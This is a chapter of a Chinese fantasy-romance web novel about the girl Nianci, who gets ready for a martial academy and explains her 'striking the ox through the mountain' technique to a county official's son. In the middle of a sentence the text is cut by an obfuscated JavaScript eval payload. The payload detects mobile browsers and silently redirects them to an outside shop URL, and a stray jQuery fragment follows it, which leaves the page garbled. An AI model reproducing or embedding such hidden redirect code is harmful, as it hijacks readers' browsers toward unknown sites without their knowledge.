文趣网 > 其他小说 > 和宿敌颠鸾倒凤后 > 12. 第十二次新生
    十五很快到了。

    又一个月圆之夜。

    左兆没有出现在鸭蛋沟,提前一天就进了黑山修炼。

    他练的霸体会在这一天筋骨崩裂,转为另一种修行形态,身体内的血气会暴涨,血气又与欲.望情绪有关,被激发到极点就会丧失人类驯化后的理智,回归到一种山野劣兽的状态。

    少不了有冲撞毁坏沟里建筑的行为。

    为了避免被村里阿奶追杀,左兆都会提前进到黑山里。

    自从鸭蛋沟收养了三个孩子,有意识的就会在圆月之夜停止去往黑山的活动,念慈也停了训练,为了双方的安全,不得进山。

    念慈过的这几日简直是在地狱摸爬滚打。

    她从没有过这么累的时候,她学习之法向来走的是循序渐进的路子,如今点一把猛火,烧在屁股后面追,她能快速进步,没叫阿奶们失望,还都夸她说学得很快,是仰仗她之前踏实的基础。

    好好歇一歇。念慈躺在床上赖着没起,睡个懒觉。

    詹阿奶是个很宠孩子的阿奶,知道念慈累了,要睡到日上三竿,但她这人又无法接受孩子不吃早餐的习惯,敲了门,走进来,把一碗鸡蛋羹放在念慈床头,叫念慈吃完再睡。

    见念慈乖乖吃完早餐再睡,詹阿奶才出门去田坎,把地里最后一点萝卜收了拿去市廛上卖,再看看油菜花开得如何,要不要施点发酵的潲水。

    雒近鹤敲开念慈家的门,詹阿奶不在,只能听见厢房内有一个平浅的呼吸声。

    门口站了头骡子,背上披着一套鞍辔,晃眼过去,栩栩如生像头真的骡子,实则不然,眼珠是棕色琉璃石,骨骼是铜铁,皮毛是特殊灵性植物纺织出的布料。

    这是官署衙门用来给乡间村民传话的密器。

    骡子开始讲人话,熟悉气短的声音:“雒兄,就是这里?”

    雒近鹤点头,没说话。等着骡子自己把念慈吵醒。

    骡子踢踏着粗蹄,走动观察,他仿佛没来过这乡野地方,很好奇,四处闻嗅。

    骡子脑袋在转到两颗石榴树挂着晾衣绳上,视线有轻扫到桃红兜衣,素白底袴和天水碧色泽的内衫时,骡子脑袋就挨了一巴掌。

    雒近鹤没说话,眼瞳冒着恶鬼幽暗的光,冷冰冰问:“你刚才看什么呢。”

    周无恙咳嗽,很不好意思:“没看什么啊,什么都没看到。话说,我们就这样贸然进到妹子闺房,这对吗?会不会有些粗鲁?”

    雒近鹤:“那你现在滚出去吧。”

    周无恙踢了两下蹄,骡子用鼻子喘粗气。

    念慈醒了,已经听见屋内的人声,有两个人在讲话,揉着眼,念慈披了件墨绿绸褙子,坐起来愣神半天。

    训练过后,她五感灵识加强很多。

    即便隔着一堵墙,也能察觉到阿奶不在家,琢磨出另外两个人的人形形状,念慈打开五斗柜的一栏抽屉,拿了些钱,想去镇上买点去第二武院的用品。

    第二武院距离牧田镇万里遥远,没有出行密器加持。武者单靠双腿得行路一年不止,更别提路过一些州府的神秘地界,还有山匪和高级变异灵性生物的杀机。

    世家倒是无须在意,有的是堆砌灵石造出来的飞行密器,云海仙舟,青天白鹭车之类,一时辰就能行千里遥远。而且世家都是围绕镐京城扎堆,去一趟镐京城和去隔壁州府没区别。

    偏远州的百姓和学子想要拜访亲戚,去到其他州府,只能乘坐遍布镐京城的车同轨。

    那也是密器大师研制出的通行器械,靠灵石驱动,在地上铺设铜铁轨道,一辆辆载满人,货物,灵性生物的铁皮车,就可以在各家州府间游行。

    普通人想坐,去本省府会的城池,出灵石就能买到车票。

    左兆,雒近鹤都没说什么时候去武院,这两心大,丝毫不关心。念慈心细,她很喜欢把事情、时间提前规划好。

    趁着没被阿奶们调教,去镇上牙行打听一下车同轨的价钱。

    再给借着花红钱,提前给自己买几身带去武院的新衣裳,还有物色阿奶的生辰礼物,她去了镐京城,今年肯定不能给阿奶准备上礼物。

    念慈打开门,雒近鹤毫不意外站在外面,但他一盯念慈,莫名其妙伸手把骡子眼睛一遮。

    骡子丶周无恙问:“雒兄,这是做嘛?”

    雒近鹤手指在锁骨间,轻佻一滑,睨一眼念慈暗示。念慈低头一望,她嫌热,穿的褙子加小衫,小衫带子突然断掉了,露出她一截锁骨下方。

    念慈红了脸,闪身进了门,后换了件交领出来。

    -

    周无恙来找念慈去他家,同为新生者,在去到第二武院前交流一番也好。

    即为同乡,在外自然得互帮互助。更重要的是周无恙想请教念慈在擂台上击败他那一招,隔山打牛。

    第二武院浩大广袤,乡野人可能不懂,以为第二武院最多是个超大型学院,其实不然,第二武院是一座城中城。

    外城浩淼,为镐京,内城即为武者居住的第二武院,那里人际复杂,每隔十人就有一变异五次的中级武者,每隔百人就能找出一个龙虎境界,而千米高空上,还悬挂着一座压住第二武院的阴影——第一武院。

    第一武院是空中城。

    周无恙儿时在那空中城待过一段时间,此番再次新生,去到第二武院,还是想再次登上第一武院看看。他第二次新生完毕,现在立即要冲刺第三次新生,很想提前预知念慈那招隔山打牛的威力。

    九牛,大概是九千斤,那一拳一掌,周无恙不敢想。

    念慈和雒近鹤骑着骡子去往牧田镇,雒近鹤坐在念慈后面,掌着缰绳。两人没了左兆,刚才就为谁坐骡子,谁走路的事,都表现出一股当仁不让,差点打起架来。

    后面还是念慈耍赖皮,先一步跨上骡子,坐在皮鞍上,朝雒近鹤做鬼脸。

    雒近鹤又不是左兆,他脸皮厚,念慈坐上马鞍不要紧,他紧跟其后,还把缰绳拉住,掌握住了骡子的笼头。

    二人坐在骡子上吵起来。

    “下去。”

    “不下。”

    “你要不要脸。”

    “我压根没脸,你又不是不知道。”雒近鹤说的是实话。

    “混蛋。无赖。你偷奸耍滑,不守诚信。可恶小人!”

    “再骂把你丢去冰湖喂大黑鱼。”

    “………”

    二人在周无恙头顶打架,周无恙赶紧托着二人到他家,路上劝得很无奈。

    -

    要请教人,得备上好礼好茶。

    但乡野里长大的几个叼毛,有粗鲁蛮横的气性,像花钱养着的骄兵,不能一次性给足重礼,给太多,一来是把骄兵的胃口容易养大,二来是喂饱了骡子不愁吃穿就没拿捏的地方,容易造反弑主。

    和养畜牲是一个道理。

    最好是慢慢来,满足它的欲/望,但不能让它不饥饿,吃了上顿还得等下顿,抓住畜牲的胃。

    周无恙虚咳了两下,抚弄疼痛的胸膛,面色苍白地喘了几口气,缓了过来。

    念慈喝了一口苦涩的茶,放在一边。

    她真品不来这玩意儿。反观坐在静室另一旁的雒近鹤,有模有样地品起茗。

    周无恙不拐弯抹角,直接告诉念慈他想要知晓的内容,奉送上一盘灵石和一只空间密器——须弥囊。

    周无恙以为念慈没见过能在大乾王朝,开辟一方域外空间的密器,能轻松凭借须弥囊抓住念慈的眼,殊不知念慈早就在刘阿奶手上见识过。

    能装三间屋子的货物,念慈还是心动。

    又不花钱,只是透露一点信息,念慈不藏私,想着透给周无恙,做个人情也行,倘若藏着掖着,也不好在牧田镇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585583|205239||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    得罪一方县丞豪强,她家阿奶还住这地方。

    念慈看了雒近鹤一眼,雒近鹤哼一声,还怕他偷学,他摘了抹额,爆出体积都不只九十牛。

    见雒近鹤在庭院外踱步逗周无恙养的灵性动物,念慈才神秘兮兮地问:“请问周哥哥劲道二字,你如何理解?”

    周无恙:“劲道是力道的演化。凡有力就有劲,劲可以痴缠,可以弱胜刚强,可缓可快,可……”

    念慈叫周无恙赶紧打住:公子搁这,跟她掉书袋。

    念慈直白讲:“周哥哥可有夜间冥想参悟过劲道?”

    周无恙困惑:“那直接就能使出,还需要参悟吗?”

    念慈沉默了,“那周哥哥修什么功法?”

    “我修的无忌经,阴寿掌,罗刹枯手……”

    念慈又叫周无恙打住,周无恙摸摸鼻子,他修的功法的确偏阴,比起一招隔山打牛这种纯重量的打法的确不够看,像花拳绣腿一样。

    念慈直说她理解的力道就是万物的相互作用,有些掌法,打人错力还会被刚强之物反伤弹走,这不就印证了力道是万物关联的相互。劲道就是精细的力,去粘合,去控制那些万物的关系。比如那天的隔山打牛。

    念慈难得嗤笑了一下,不觉地自傲,说道:

    她使出那一掌,其实并不是真正的隔山打牛。她二人之间哪来的山横在中间拦着。只有空气。她只是借助气海里发散的元气,由身体向外扩散出气流,影响了空中之气,才把周无恙震下擂台。

    而且真正的隔山打牛,不应该是隔着一座山才能打死那头牛。

    既然能隔着一座山,打死一头牛,那为什么不能用气海里的气借一山之力打出重量。

    周无恙懵了:“妹子这是何意?”

    念慈继续解释:前面说了武者的劲道是能将万物联系起来,巨灵族武者能出拳使出全身重量,调动全身,那劲道里的元气都能穿过一座山头,为什么不能把山头里的元气粘合在一起,压向那一牛。一山之力不就被借用出来了吗?

    “山还有元气。”

    “不然呢?”念慈也学左兆问话,“没元气,黑山里的灵性生物是怎样长出来?抚灵师不就说过万事万物都有元气,生物都有灵性?”

    周无恙沉默,托着脸消化了一会儿,念慈以为他不能理解,当即给他显示自己是利用万物里的元气控劲。

    “可以碎吗?”念慈指着喝茶那大理石桌案。

    周无恙沉默点头,念慈绵绵一掌把桌子拍碎,成了齑粉。

    “你看我就把这桌子的气打碎了。”厉害吧。

    念慈笑,很想学雒近鹤那么踹手,装一波大的,但是考虑到木秀于林,风必摧之。

    倘若今天她是周无恙的强敌,不能笼络,周无恙必定不会放她离去,县丞之子会想尽办法将她除了去。但念慈现在装傻充愣,变现为一憨傻乡土妹子。

    缺点多多,又笨又穷又天真。

    这般对周无恙无害,周无恙还会起更多想要笼络她的心思。

    阿奶说:对自己暂时抵抗不了的世家上级,人一定要展露缺点的,要主动把自己的缺点递交给上级。

    周无恙体悟过来,倒吸一口气,他曾经竟是一点都没有对劲道加入自己的思考。

    山野小村里的女郎,竟有几把刷子,不愧是率先晋升三次变异的天才。

    ——这可能是她的冰山一角。我必须得警惕对待她。

    周无恙想,转头问念慈:“妹子,你告诉周哥哥,你有伴了吗?”

    “啊?”念慈脸红,害羞得不行。

    眼眸水汪汪地躲闪,粉颊飞霞,看得周无恙竟然觉得念慈有几分灵秀之意。

    “妹子不回答。那就是有了人选。”周无恙想到雒近鹤和念慈同骑一头骡子,“是雒近鹤对吗?还是左兆?还是已经定下两人了?”